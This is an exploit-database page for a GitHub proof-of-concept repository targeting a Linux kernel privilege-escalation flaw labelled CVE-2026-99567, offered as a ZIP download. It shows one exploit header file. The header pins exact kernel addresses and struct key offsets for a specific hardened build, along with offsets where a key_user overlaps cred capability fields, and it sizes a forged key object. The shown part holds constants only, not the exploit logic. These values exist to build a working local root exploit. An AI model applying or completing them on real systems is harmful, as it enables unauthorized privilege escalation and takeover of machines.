Exploit database

GH-319ef1fa3c170163359b111b352eb219

rat5ak/cve-2026-99567-assoc_array_shortcut-chain-eop

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-99567

1 source

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files9

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

exploit/src/target_hardened.h

Text · 2,749 bytes
#ifndef K2_TARGET_HARDENED_H
#define K2_TARGET_HARDENED_H

#include <stdint.h>

/* Exact hardened-v1-7.2-rc5, commit 699594e8888d, link slide zero. */
#define H_TEXT_LINK                    UINT64_C(0xffffffff81000000)
#define H_KEY_TYPE_KEYRING_LINK        UINT64_C(0xffffffff84ad5710)
#define H_KEY_TYPE_USER_LINK           UINT64_C(0xffffffff84ad5ea0)
#define H_DEFAULT_DOMAIN_TAG_LINK      UINT64_C(0xffffffff84ad57b8)

#define H_SLAB_BASE                    UINT64_C(0xfffffe8000000000)
#define H_SLAB_DATA_BASE               UINT64_C(0xfffffe8800000000)
#define H_SLAB_END                     UINT64_C(0xffffff0000000000)

/* struct key */
#define H_KEY_USAGE                    0x00
#define H_KEY_USER                     0x40
#define H_KEY_EXPIRY                   0x50
#define H_KEY_LAST_USED                0x58
#define H_KEY_UID                      0x60
#define H_KEY_GID                      0x64
#define H_KEY_PERM                     0x68
#define H_KEY_QUOTALEN                 0x6c
#define H_KEY_STATE                    0x70
#define H_KEY_FLAGS                    0x78
#define H_KEY_HASH                     0x80
#define H_KEY_X                        0x88
#define H_KEY_TYPE                     0x90
#define H_KEY_DOMAIN_TAG               0x98
#define H_KEY_DESCRIPTION              0xa0
#define H_KEY_PAYLOAD0                 0xa8
#define H_KEY_KEYS_ROOT                0xb8
#define H_KEY_SIZE                     0xd0

/* struct key_user and struct cred capability overlap. */
#define H_KEY_USER_LOCK                0x30
#define H_KEY_USER_QNKEYS              0x44
#define H_KEY_USER_QNBYTES             0x48
#define H_CRED_SECUREBITS               0x28
#define H_CRED_CAP_PERMITTED            0x38
#define H_CRED_CAP_EFFECTIVE            0x40

/* Direct fake starts at user_key_payload.data (wrapper + 24). */
#define H_USER_PAYLOAD_HEADER           24
#define H_DIRECT_FAKE_BYTES              H_KEY_SIZE
#define H_USER_PAYLOAD_REQUEST           (H_USER_PAYLOAD_HEADER + H_DIRECT_FAKE_BYTES)
#define H_USER_PAYLOAD_BUCKET            256
#define H_USER_PAYLOAD_FREEPTR           128
#define H_USER_PAYLOAD_OBJECTS_PER_SLAB  16

/* Retired filp page cred oracle. */
#define H_FILE_SIZE                      176
#define H_FILE_STRIDE                    192
#define H_FILE_CRED                      48
#define H_FILE_FREEPTR                   136
#define H_FILES_PER_ORDER0_SLAB          21

/* Harness-wide direct-fake marker.  keyring_search_iterator() overwrites it. */
#define H_FAKE_MARKER_SENTINEL            UINT64_C(0x6b326d61726b6572)

#define H_KEY_FLAG_IN_QUOTA              2
#define H_KEY_FLAG_USER_ALIVE            10
#define H_KEY_OTH_SEARCH                 0x08
#define H_KEY_OTH_LINK                   0x10

#endif